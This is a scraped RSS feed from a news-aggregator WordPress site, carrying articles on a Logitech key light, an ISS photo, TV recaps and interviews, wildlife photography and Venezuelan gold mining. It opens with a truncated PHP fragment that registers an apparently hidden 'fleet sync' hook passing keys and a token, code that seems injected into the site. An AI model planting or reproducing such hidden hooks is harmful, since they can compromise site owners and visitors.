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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Light – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 21 Sep 2022 16:14:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Light – Brief News https://briefnews.eu 32 32 Logitech reveals a $100 Litra Beam key light for creators https://briefnews.eu/logitech-reveals-a-100-litra-beam-key-light-for-creators/ https://briefnews.eu/logitech-reveals-a-100-litra-beam-key-light-for-creators/#respond Wed, 21 Sep 2022 16:14:11 +0000 https://briefnews.eu/logitech-reveals-a-100-litra-beam-key-light-for-creators/ Logitech has unveiled two new products aimed at creators, including one designed to help them look their best while streaming or recording videos. Litra Beam is a key light that has a three-way adjustable desktop stand, which should help you find the right height, tilt and rotation for your needs. Logitech notes that, by adding one or more of the lights to their setup, creators can employ various lighting techniques, such as Front, Split, Butterfly or Rembrandt.

The key light employs TrueSoft tech. According to Logitech, that helps to provide "balanced, full-spectrum LED light with cinematic color accuracy for a natural, radiant look across all skin tones." The company also claims the Litra Beam can do away with harsh shadows thanks to its frameless diffuser. Since it can run on either USB or AC power, you'll have more flexibility over where to place the device.

There are buttons on the rear, which provide a way to quickly switch between five brightness and five color temperature settings. Alternatively, you can control the Litra Beam via the Logitech G Hub desktop app. From here, you can tweak brightness by percentage value, adjust the color temperature by Kelvins, control multiple key lights at the same time and manage presets.

Logitech Blue Sona XLR microphone attached to a stand with a person speaking into it.
Logitech

You might want your streams, videos and calls to sound good too. Logitech also announced a Blue Sona XLR broadcast mic. It has a built-in preamp that offers a +25dB gain boost, a dual-diaphragm capsule and supercardioid pickup pattern (designed to reduce or eliminate background noise) and a 290-degree swivel mount. It's available in graphite and off-white finishes with swappable red and graphite windscreens.

The Litra Beam, which follows the $ 60 Litra Glow light Logitech announced earlier this year, won't break the bank. It costs $ 100/£99/€119, so it's perhaps a more budget-friendly alternative to Elgato's lights. As for the Blue Sona, that will run you $ 350/£329/€349. Both products are available starting today in the US, Canada and some European countries.

]]> https://briefnews.eu/logitech-reveals-a-100-litra-beam-key-light-for-creators/feed/ 0 Astronaut’s photo from ISS shows Earth in a different light https://briefnews.eu/astronauts-photo-from-iss-shows-earth-in-a-different-light/ https://briefnews.eu/astronauts-photo-from-iss-shows-earth-in-a-different-light/#respond Tue, 13 Sep 2022 08:51:45 +0000 https://briefnews.eu/astronauts-photo-from-iss-shows-earth-in-a-different-light/ An American astronaut has shared a wonderfully unique image of Earth taken from the International Space Station (ISS).

Three-time space visitor Don Pettit, who currently has his feet on terra firma, posted the remarkable photo on his Twitter account on Monday.

It may not be obvious at first glance — or even second — but the long-exposure image (below) shows Earth through the windows of the space station’s Cupola module. If you look carefully toward the bottom left of the picture, you’ll also see some beautiful star trails.

“Fish-eye lens long-exposure view of the Earth from the Cupola, aboard the ISS,” the astronaut wrote in his tweet. “Below, city lights flow as orange streaks, and faint star trails that show the Earth’s rotation are visible in the lower left. Astrophotography can find exciting ways to combine both science and art!”

Fish-eye lens long-exposure view of the Earth from the Cupola, aboard the @iss. Below, city lights flow as orange streaks, and faint star trails that show the Earth&#39;s rotation are visible in the lower left. #astrophotography can find exciting ways to combine both science and art! pic.twitter.com/JwrFeZMl7v

&mdash; Don Pettit (@astro_Pettit) September 11, 2022

In recent days, another of Pettit’s images showing Earth lights and star trails caused quite a stir online.

Trails of light from Earth and stars.
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Pettit’s most recent space trip was in 2012, so space fans must be delighted that the experienced astronaut and keen astrophotographer is sharing some of the extraordinary images that he captured so many years ago.

While Pettit’s work can be beautifully surreal, more recent ISS inhabitants have been sharing Earth images that show more clearly various features of the land and sea.

French astronaut Thomas Pesquet, for example, is a keen photographer and during his most recent mission captured some fabulous shots of our planet. And if you think the enviable viewpoint 250 miles above Earth would make it easy to capture such shots, then think again. It actually takes a great deal of planning.

With its seven windows, the Cupola module offers the best views of Earth and beyond from the confines of the space station. This makes it a popular spot for astronauts to go and relax during their downtime.

But the largely unobstructed views also make the Cupola an important work location as astronauts can use it to monitor and assist not only spacewalks but also the arrival and departure of spacecraft.

]]> https://briefnews.eu/astronauts-photo-from-iss-shows-earth-in-a-different-light/feed/ 0 Big Brother: Julie Chen Moonves Sheds Light on Sign-Off: ‘Black Lives Matter and Now Is the Time to Speak Up’ https://briefnews.eu/big-brother-julie-chen-moonves-sheds-light-on-sign-off-black-lives-matter-and-now-is-the-time-to-speak-up/ https://briefnews.eu/big-brother-julie-chen-moonves-sheds-light-on-sign-off-black-lives-matter-and-now-is-the-time-to-speak-up/#respond Sat, 15 Aug 2020 14:39:17 +0000 https://briefnews.eu/big-brother-julie-chen-moonves-sheds-light-on-sign-off-black-lives-matter-and-now-is-the-time-to-speak-up/

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Veritably answering two of TVLine’s recent TV Questions, Julie Chen Moonves has shed light on the intent of her feel-good Big Brother All-Stars sign-off messages.

Whereas the host traditionally ends her on-camera appearance by saying, “From outside the Big Brother house, I’m Julie Chen Moonves. Goodnight,” she capped the Aug. 5 season opener by inviting viewers to “Be safe, be well, and be good to one another.” And at the conclusion of the Aug. 13 episode, she cued the audience to “remember the Golden Rule: Do unto others as you would have them do unto you.”

Chen Moonves has since explained to EW that these closing messages are not any set of cryptic clues to upcoming in-game twists (as some theorized), but simply positive inspiration for outside the Big Brother house.

“I mentioned the Golden Rule because I believe that if EVERYONE followed that principle, we’d ALL be better off as a society, as a nation, as a world,” Chen Moonves wrote to EW. “I chose to close with those words because Black Lives Matter and now is the time to speak up.

“If the number of Black lives that have been taken happened to people of your heritage, you would be saying (fill-in-the-blank) Lives Matter! It’s my faith in God that is getting me through these uncertain times. We CAN be better. Why not try? It can’t hurt. It can only help. Most of all, it’ll help the person who rises to the occasion,” she said.

Big Brother‘s 22nd season is currently underway with 16 returning houseguests vying for the $ 500,000 prize. Participants include former winners Nicole Franzel and Ian Terry, in addition to fan favorites like Janelle Pierzina, Tyler Crispen and Da’Vonne Rogers. The show aired its first live eviction episode Thursday. (Find out which houseguest was the first evictee.)

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This recap contains spoilers from Episode 7 of DC’s Stargirl (which premieres new episodes Monday on DC Universe and Tuesday on The CW).

DC’s Stargirl this week got very interesting, tunneling beneath the fun, bubbly artifice of its inherent premise to shed light on the dark underpinnings of one of Courtney’s classmates… reveal what has (at least theoretically) been eating at Mike all this time… and add to the show’s mythology by weaving in someone we’ve only met before in passing.

Following a breezy montage in which Court greeted the Cosmic Staff good morning, Rick etched Hourman’s logo into the tree where his parents died, Yolanda worked out in the gym and Beth performed bathroom karaoke with Chuck, we saw a hint that Courtney and Pat’s secret world is at risk of unraveling. A reference to “training” overheard by Mike leads to an elaborate lie about Pat teaching Courtney how to drive, which in turn irks Barbara, who is feeling left out. “I should tell you everything,” an apologetic Pat tells his wife, before Court waves him off.

Over at the hospital, Cindy finds Henry brooding at his father’s bedside. She’s looking to lock down homecoming dance plans, but Henry is in no mood. Cindy takes out her frustrations on Jenny at school, promoting her minion to ask on behalf of all of us, “Why are you such a bitch?” Saying she needs a “break” from her mean girl bestie, Jenny peaces out. When Cindy hisses at the bearded Janitor we first glimpsed a couple weeks ago, swatting down his mom, Courtney darts over to help him — and he in turn thanks “m’lady.” Afterward, we see that in Janitor’s dank closet is a chalice… and an ornate sword.

On her way into school, following her own brusque encounter with Cindy, Courtney learned from Beth that Cindy’s mother died years ago, and her father has remarried twice since then. Also of note, Cindy at one point during it all got “scary, overnight.”  Later in chemistry class, Courtney convinces Cindy to be partners with her, sharing along that way that she too lost a parent. Proving quite proficient at chemistry, Cindy explains that as a kid, she and her scientist dad did “experiments for fun.” As the girls ace their assignment for the day, Cindy invites Courtney to hang out with her Saturday night, instead of going to the “lame” homecoming dance. And Courtney gladly accepts.

After school, Pat brings Courtney, Yolanda, Rick and Beth to his auto shop, inside of which he has set up a lo-fi training course, with mop buckets and the like representing ISA baddies. He then gives them the 411 on the known local villains, touting Sportsmaster’s fighting skills, the “sadistic” Tigress, the portly but “cunning” Gambler. Impatient for some actual training, Court and the Cosmic Staff make quick work of the mop bucket enemies, wrecking the course before any of the frustrated others get a crack at it. Oops.

When Cindy returns home after school, we gain allllll kinds of additional insight into her wildly weird world. For one, her latest stepmom is Stepford-like dutiful and desperate to please Cindy — to the point that, despite her orders (programming?) from husband Dr. Ito, she fetches her teen stepkid some pinot noir. Cindy proceeds to visit her father unannounced — a big no-no — by entering his lab via keypad, and then descending a series of staircases to the ISA lair, scoffing at Solomon Grundy along the way. Cindy overhears Crusher giving the others a play-by-play of his and Paula’s faceoff with Stargirl & Co. Paula wants to get their respective kids involved in the investigation into this junior-size JSA, but Jordan nips that notion in the bud.

Stargirl Dragon KingCindy is grabbed from her eavesdropping perch, and brought to her father’s lab down the hall. She makes clear that she is bored with teen life, and to prove her point/skills, produces a blade from her shirt cuff and nonchalantly slashes one of Dad’s carefully cultivated assistants. Noting that hasty Cindy has learned “nothing” from her mother’s death, Dr. Ito reminds her that he gave her powers to protect herself, not to “enhance tantrums.” When Cindy makes heart eyes at a costume and scepter on display, her dad implores her to stay focused on Henry, whom she apparently was tasked with monitoring, in case he exhibits the same powers as his father, Brainwave.

With Barbara off on a business trip to Oakville (accompanying Jordan for American Dream’s purchase of an old sewing machine factory), Courtney attends the homecoming game with Pat and Mike. When Pat goes to fetch some food after another conspicuously coded exchange with Courtney, Mike tears into his stepsister a bit, saying, “He’s my dad, not yours!” He notes that Courtney doesn’t see Mike at her mom’s hip 24/7. “Pat and I have been through a lot, more than you know,” Mike shares, before huffing off.

Stargirl 1x07 cindyCameron Mahkent slides onto the empty bleacher beside Courtney, to ask her to the dance. She stammers in the course of giddily accepting, eventually explaining that she had plans with Cindy that she will simply reschedule. Nothing is simple with cheerleader Cindy, though. She does not take kindly to the change in plans and sniffs at her almost-new friend, declaring them done “forever.” Heading back to the stands, Court sees Principal Bowin acting suspiciously, so she follows her to her office, covertly observing as Bowin grabs her violin and slips behind a secret door. After suiting up, Court uses the Cosmic Staff to pop open the secret door, behind which she descends (you guessed it) a series of steps, unwittingly triggering a motion sensor along the way. Cindy, in her dad’s lab, spots Stargirl on the CCTV and puts on the Shiv suit she eyeballed earlier. And just as Stargirl emerges from the tunnel — outside school lockers, somewhat oddly — Shiv shows up to start whaling on her.

Taking their scuffle to the gym where the dance is to be held, the gals slug it out, trading Cosmic Staff zaps and fiery scepter blasts. At one point, Stagirl’s staff seriously char-broils Cindy’s face… which then miraculously heals, while its wearer smirks. Shiv eventually gains the upper hand is about do deliver to Stargirl a finishing blow, when Janitor shows up and blocks her strike with his sword. Shiv scampers away, while the Cosmic Staff darts off to find Pat and bring him to KO’d Courtney. As Pat tends to brutally banged-up Stargirl, Janitor in the shadows remarks to himself, “Stripesy…?”

What did you think of the episode “Shiv Part 1”?

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]]> https://briefnews.eu/stargirl-recap-best-episode-yet-sheds-light-on-a-wannabe-teen-supervillain/feed/ 0 Modern Family Series Finale Recap: Leave the Porch Light On — Grade It! https://briefnews.eu/modern-family-series-finale-recap-leave-the-porch-light-on-grade-it/ https://briefnews.eu/modern-family-series-finale-recap-leave-the-porch-light-on-grade-it/#respond Thu, 09 Apr 2020 02:45:34 +0000 https://briefnews.eu/modern-family-series-finale-recap-leave-the-porch-light-on-grade-it/ ABC’s Modern Family — which out of the gate won the Emmy for Best Comedy five years in a row — wrapped its 11-season run on Wednesday night, with a one-hour finale. Did you tune in to bid the Dunphy-Pritchetts farewell?

'Modern Family' Series Finale - ABCThe first half-hour found Phil and Claire living and loving the RV life, having relocated themselves to mobile home in their own driveway now that the house itself has become overpopulated with Haley, Dylan and the twins, Luke, and a returned Alex. The storyline was far and away the strongest of that half-hour, especially as we witnessed how badly life had devolved inside the house, with “baby formula and croutons” subbing for breakfast cereal. After the kids crashed their cozy RV breakfast of actual bacon, Claire (and Phil) declared that someone had to move out of the house. Sure ’nuff, each of the kids balked at the notion… and sure ’nuff, they all ended up deciding to move out — to follow a job to Switzerland with new beau/boss Arvin (Alex), to attend the University of Oregon (Luke), and to live in a million dollar-ish apartment (Haley & Co.).

Elsewhere, Mitch and Cam delighted in their new home and new baby, whom they named Rexford (after the street they now live on). Their housewarming party, however, hit a hiccup just as the guests were arriving, Cam was offered the college football coaching job he coveted, at North Southern East Central Missouri U. (or something). Cam tried to keep a lid on his conflict, but eventually erupted in front of everyone. Later, in their basement karaoke room, Mitch assured Cam that he was A-OK-ish with making the move — especially once they realized that crazy, clingy Sal lived right down the street and had big plans for spending lotsa time together.

The first half’s C-story, meanwhile, involved Gloria feeling less needed in her household now that she is the working spouse/parent, but Jay encouraged her to seize this moment and enjoy her career.

Modern Family Series FinaleIn the second half-hour, Mitch, Cam and their fam are packed (back) up already and at Claire’s house to bid everyone an emotional farewell… only to get delayed by a tornado warning. And then by a flood, with locusts. Once they finally do leave the house, they catch the others snapping a family photo on the stairs without them. Terse words are about to be exchanged… when a Missouri hail storm holds things up once again.

During this latest delay, Claire and Mitchell plot to steal their skating trophy from the ice rink that Jay gave it back to years ago, because they kept fighting over it. That led the siblings to revisit their ice dancing routine, only to realize it was a lot more sexual than they recall. Alex and Haley meanwhile schemed to mess with Luke one last time, by duping him into dressing up as “Woofie the Dog” to “recreate” a ruined home video. Over at Jay’s, his recent run of aloof behavior led Gloria to worry that he was getting old and or losing his hearing, when in actuality he was secretly learning to speak Spanish.

MODERN FAMILYAfter Jay encourages Phil to consider his own next chapter in life, Phil suggests to Claire they take a cross country trip in the RV, getting selfies with every MLB mascot — and she is on board for that! They later wistfully look on as Haley, Alex and Luke all pack up their things and clear out 25 years of craziness from the house. What will they do now, Claire wonders. “Leave the porch light on,” says Phil. “They come back.” And after Jay reveals to Gloria his surprise fluency in Spanish and plan to join her and Joe in Colombia for the summer, the family finally poses for that elusive selfie.

And as we get glimpses of everyone embarking on their new lives, Jay’s closing voiceover says:

Life is full of change — some big, some small. I learned a long time ago you could fight it, or you can try to make the best of it. And that’s all a lot easier if you’ve got people who love you help you face whatever life throws at you. At least, that’s what helps me sleep at night.

As the Dunphy and Pritchett homes turned out their lights one last time. No twist ending, no Suzanne Pleshette, no snow globe, no introduction of a Dutch documentary crew. Just… a warm, sweet ending.

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]]> https://briefnews.eu/modern-family-series-finale-recap-leave-the-porch-light-on-grade-it/feed/ 0 The Blacklist Bosses Shed Light on That Unexpected Fall Finale Alliance, Hint at ‘Looming Danger’ Ahead for Katarina https://briefnews.eu/the-blacklist-bosses-shed-light-on-that-unexpected-fall-finale-alliance-hint-at-looming-danger-ahead-for-katarina/ https://briefnews.eu/the-blacklist-bosses-shed-light-on-that-unexpected-fall-finale-alliance-hint-at-looming-danger-ahead-for-katarina/#respond Sat, 14 Dec 2019 02:35:40 +0000 http://briefnews.eu/the-blacklist-bosses-shed-light-on-that-unexpected-fall-finale-alliance-hint-at-looming-danger-ahead-for-katarina/

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Elizabeth Keen might want to clear some closet space, because The Blacklist‘s fall finale gave her a lot to unpack.

Among the revelations Liz learned during this hour: (1) Reddington is not Ilya Koslov, as her grandfather had led her to believe; (2) Dom planned to have Katarina killed years ago, in an effort to protect Liz (uh, awkward); and (3) Katarina is looking for answers that Red, Ilya and others have been keeping from her — and her life is only in danger once again because Liz went looking for her last season. (I repeat: Awkward.)

During the episode, both Red and the FBI finally closed in on Katarina — each with their own motivations for doing so — but upon hearing that Katarina is seeking an important truth, Liz decided to align with her mother. She helped Katarina get out of their apartment building undetected, promising to keep her out of the FBI’s grasp as long as possible.

Unfortunately for Katarina, Red did detect her leaving Liz’s building, prompting him and Dembe to tail the getaway car she’d hot-wired. But after a several-mile pursuit, Katarina was T-boned by an SUV, and Red watched in shock as two men got out of the car and gunned down Katarina in the road. In Red’s estimation, the Townsend Directive — aka that standing bounty on Katarina’s head — had just been fulfilled by those two anonymous men, and he later informed Liz that Katarina had died (leaving out the small detail of Katarina’s real name, of course; he still referred to her as Maddie Tolliver).

Liz was expectedly devastated at the news of her mother’s demise, though she gave a good poker face until Red was no longer around. That‘s when she broke down in tears… until she got a phone call from none other than Katarina, who explained that (1) she had faked her death, and (2) she needed to disappear for a while, though she still had every intention of working with Liz to find the answers they’ve been seeking. Liz confirmed that Red had been fully convinced by Katarina’s “death,” and she assured her mother that she’d keep her very-much-alive status a secret. “I love you, Masha,” Katarina tearfully concluded. “Be safe,” Liz replied.

After screening the fall finale (which marks the last Blacklist episode until March 2020), TVLine spoke with executive producers Jon Bokenkamp and John Eisendrath, who teased what’s to come now that Liz and her mother are on the same side.

TVLINE | Let’s start with Katarina faking her own death. When you were breaking this season, was there ever a time when you had planned to actually kill her off? Or were you always thinking of bringing her into the back half of Season 7?
EISENDRATH | You know, it’s always an evolving story. Initially, at the end of last season’s finale, the first draft had Red killing Katarina. And we never would have had any of this. But we realized that was maybe not the greatest idea we’ve ever had, and at some point we thought, “Oh, maybe for the midseason cliffhanger, she should die.” And then we were like, “Uh, maybe not.” And part of the reason is that most successful shows have a life of their own, and the writers try to follow the story as much as write the story. And particularly when you have someone like Laila Robins [who plays Katarina] — she was just so good that it made us feel like, “Oh, we want to write for her.” So it was a combination of reasons. It was partly that we just weren’t smart enough to see from the beginning that it would be worth keeping that character around, and secondly, she was so good, and thirdly, we realized that the story is incredibly dramatic, and we should live with that. So the short answer is yes, we did think of killing her off repeatedly. [Laughs]

The Blacklist Season 7TVLINE | But to be clear: Katarina being alive means that the Townsend Directive is still in play, correct? That’s still something she should fear?
BOKENKAMP | That is correct. We saw tonight that these crazy brothers who showed up trying to kill her and collect the bounty — they were ultimately working with Katarina. But there are a number of people around the world who have a beef with Katarina Rostova and are looking for her. The Townsend Directive is very much a real threat for her, and it remains a looming danger.

TVLINE | Katarina and Liz working together is a fun dynamic that we haven’t seen on the show before. How would you describe their alliance? Does Liz fully trust her mother?
EISENDRATH | She’s not 100 percent confident that she can trust Katarina. At this point, she thinks Katarina may offer her a greater chance of finding out the truth that it seems Red won’t share with her. But she certainly is not fully trusting of Katarina at this point, so as the season goes on, there will be choices that she’ll have to make — whether to stay aligned with her mother, whether to be more sympathetic toward Red’s point of view. And when [Liz and Katarina] are together, hopefully we will be able to deepen the relationship and let them live in the truth of who they are. We’ll be able to build up to a great season finale with Liz deeply connected to Katarina as Katarina and Red have a big confrontation at the end of the year.
BOKENKAMP | And all of that is happening behind the back of Reddington. He believes Katarina is dead. The Townsend Directive has been fulfilled, Katarina Rostova is dead, and on with life. That does make it rather interesting, with the growing relationship between mother and daughter happening without Reddington’s knowledge. At least for now.

TVLINE | And now that Red does believe Katarina is dead, what does that mean for him? Will he want to return to business as usual, giving the FBI those cases of the week?
EISENDRATH | That’s a very good question.
BOKENKAMP | Now that Red is able to put this to bed, it won’t mean that the show will suddenly become frothy and light. But Reddington is in a different headspace, and when we come back in March, he is unencumbered, and we have a lot of fun. We have some really fun stuff coming up. That doesn’t mean there isn’t darkness underneath it, because there’s this rolling boil of Katarina and Liz and their hunt for the truth. But our entry point in March, and for a while, will be a little bit lighter, a little more fun. And we get to take a breath with Red, who feels like this is all over. Sadly, that’s not the case.

OK, your turn. What did you think of The Blacklist‘s fall finale? Grade the episode in our poll below, then drop a comment with your full reviews!

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]]> https://briefnews.eu/the-blacklist-bosses-shed-light-on-that-unexpected-fall-finale-alliance-hint-at-looming-danger-ahead-for-katarina/feed/ 0 TVLine Items: GoT Spinoff Officially Axed, Light Fight Renewed and More https://briefnews.eu/tvline-items-got-spinoff-officially-axed-light-fight-renewed-and-more/ https://briefnews.eu/tvline-items-got-spinoff-officially-axed-light-fight-renewed-and-more/#respond Fri, 01 Nov 2019 20:46:06 +0000 http://briefnews.eu/tvline-items-got-spinoff-officially-axed-light-fight-renewed-and-more/

HBO has made it official: It has scrapped its in-the-works Game of Thrones spinoff from Jane Goldman. News of the project’s demise leaked earlier this week.

“After careful consideration, we have decided not to move forward to series with the untitled Game of Thrones prequel,” the premium cabler said in a statement late Friday. “We thank Jane Goldman, [fellow EP] S.J. Clarkson, and the talented cast and crew for all of their hard work and dedication.”

HBO, meanwhile, is moving forward with the House Targaryen-centered prequel series House of the Dragon, handing the spinoff a 10-episode straight to series order (full story here).

Ready for more of today’s newsy nuggets? Well…

* Season 7 of The Great Christmas Light Fight will kick off with a two-episode premiere on Monday, Dec. 2 at 8/7c, ABC announced Friday. Additionally, the competition show has been renewed for Season 8, to air in 2020.

* Hot Ones: The Game Show, based on the popular web series, has received a 20-episode series order at truTV. Slated for a 2020 premiere, the show will find teams answering pop culture trivia questions in an effort to win money, all while eating wings covered in increasingly spicy sauces.

* Steven Pasquale (Rescue Me) and Oona Chaplin (Game of Thrones) have joined CBS Studios’ forthcoming limited series based on James Comey’s bestselling book, A Higher Loyalty. Per Deadline, they will respectively play former FBI agent Peter Strzok and former FBI lawyer Lisa Page.

* The Disney+ dramedy Big Shot, starring John Stamos, has added Shiri Appleby (UnREAL) and Yvette Nicole Brown (Community) to its cast. In the project, which stars Stamos as a temperamental college basketball coach who must take a job at an all-girls high school after getting fired, Appleby will play down-to-earth assistant basketball coach Holly, while Brown will portray the school’s no-nonsense dean, Sherilyn.

* Showtime will release all six episodes of its dramedy Back to Life at midnight on Sunday, Nov. 10, prior to the show’s debut that night at 10/9c. The episodes — which center on Miri, a woman rebuilding her life after serving an 18-year jail sentence — will be available on the Showtime and Showtime Anytime apps, as well as Showtime On Demand.

* Amazon has unveiled a teaser trailer for its upcoming drama Hunters, starring Al Pacino. Executive-produced by Jordan Peele, the show follows a diverse band of Nazi hunters living in 1977 New York City. Watch the preview below:

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]]> https://briefnews.eu/tvline-items-got-spinoff-officially-axed-light-fight-renewed-and-more/feed/ 0 The most gorgeous wildlife photos of 2018 shine a light on nature’s bizarre and wonderful beauty https://briefnews.eu/the-most-gorgeous-wildlife-photos-of-2018-shine-a-light-on-natures-bizarre-and-wonderful-beauty/ https://briefnews.eu/the-most-gorgeous-wildlife-photos-of-2018-shine-a-light-on-natures-bizarre-and-wonderful-beauty/#respond Thu, 27 Dec 2018 21:21:31 +0000 http://briefnews.eu/the-most-gorgeous-wildlife-photos-of-2018-shine-a-light-on-natures-bizarre-and-wonderful-beauty/ wildlife photos of the year young photog pipe owls india© Arshdeep Singh – Winner, 10 Years and Under

Breathtaking photos of the natural world can bring attention to crises, highlight important environmental issues, or simply fascinate us as they reveal the world’s bizarre and beautiful creatures.

Eye-catching images of animals can also garner photographers fame and some fortune. Each year, the Natural History Museum in London crowns one lucky camera-holder Wildlife Photographer of the Year. The prize brings international recognition and monetary prizes up to £10,000. (Judges also award a Young Wildlife Photographer of the Year who’s under the age of 18.) 

The images that made the list of winners and finalists this year depict a mother gorilla mourning her dead babe, owls that found refuge in a rusty urban spot, and a Caribbean flamingo behind the steering wheel of a car.

The grand prize went to Marsel van Oosten from the Netherlands, who captured a stunning shot of a pair of monkeys   in the mountains of China.

Take a look at those images and other stunning photos of the world’s most fantastic beasts from the 2018 contest.

Van Oosten, the grand-prize winner, is a professional nature photographer who runs a photography tour business with his wife. He nabbed this photo of a “golden couple” in the Qinling Mountains of China.

© Marsel van Oosten – Wildlife Photographer of the Year

Less than 4,000 golden snub-nosed monkeys remain in the snowy mountains of west-central China. Human settlement, as well as logging and hunting, have pushed the furry, blue-nosed creatures towards the brink of extinction. 

“Many have been pushed into high-altitude isolation, where they leap across branches, traverse icy rivers, and weather long winters at nearly 10,000 feet, shielded by that coveted coat,” according to National Geographic. 

Van Oosten had a tough time keeping up with the monkeys as they hopped from tree to tree, but after some slips and stumbles, he captured this shot of a pair resting. 

Underwater photographer Tony Wu was tickled to meet this Asian sheepshead wrasse off the coast of Japan’s Sado Island. The fish’s forehead reveals the “burning desire of a male in love,” he said.

© Tony Wu – Highly commended, Animal Portraits

This Asian sheepshead wrasse uses its bulbous red forehead to attract females. If there aren’t enough men around, older female wrasse can also turn into males. They grow testicles, show off their big pink foreheads, and act aggressive.  

“This,” Wu said, “is the face of a fish looking for love.”

The image was highly commended in the contest, and the underwater photographer hopes his work inspires others to appreciate and protect the world’s oceans.

French photographer Greg Lecoeur found this frogfish surrounded by plastic bits in Raja Ampat, Indonesia.

© Greg Lecoeur – Highly commended, Wildlife Photojournalism

Lecoeur’s image was also highly commended.

Normally, the fish thrives in Sargassum seaweed habitats, where it stalks and captures prey. But with plastic now covering the world’s oceans in a “seventh continent” of trash, those traditional hunting methods aren’t always possible.

More than 90% of the world’s plastic never gets recycled, and instead ends up in landfills or out in nature. 


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Venezuelan authorities have offered Russian companies to take part in gold exploration and gold mining in the country, according to Russian Ambassador to Venezuela Vladimir Zaemsky.

“As for Russia’s participation in gold-mining or other mining projects, Venezuela has made a wide range of interesting proposals that are currently under consideration by interested Russian operators,” the ambassador said.

The official added that Caracas is deeply interested in cooperating with Russia in the sector of exploration of the country’s solid extractable resources, including gold, diamonds and coltan, which is used for the extraction of elements such as niobium and tantalum.




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Apart from proven oil deposits, considered the richest in the world, Venezuela is considerably rich in natural resources such as diamonds, gold, iron ore, aluminum, bauxite, natural gas, and petroleum. According to a report by the World Gold Council published in June, the country has 150 metric tons of gold reserves, which makes it the 25th largest gold reserve in the world.

However, the current economic crisis and US sanctions have forced Venezuela  to rely on help from other nations. Earlier this year, Washington banned American businesses and individuals from dealing with entities and people involved in gold sales from the country.

In December, Caracas and Moscow signed a $ 5 billion investment deal to raise Venezuela’s oil production by one million barrels per day.




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According to Zaemsky, the parties are also discussing possibility of cooperating on Russia’s Global Navigation Satellite System (GLONASS), which is run by the Russian Aerospace Defense Forces and is currently the second alternative navigational system in operation.

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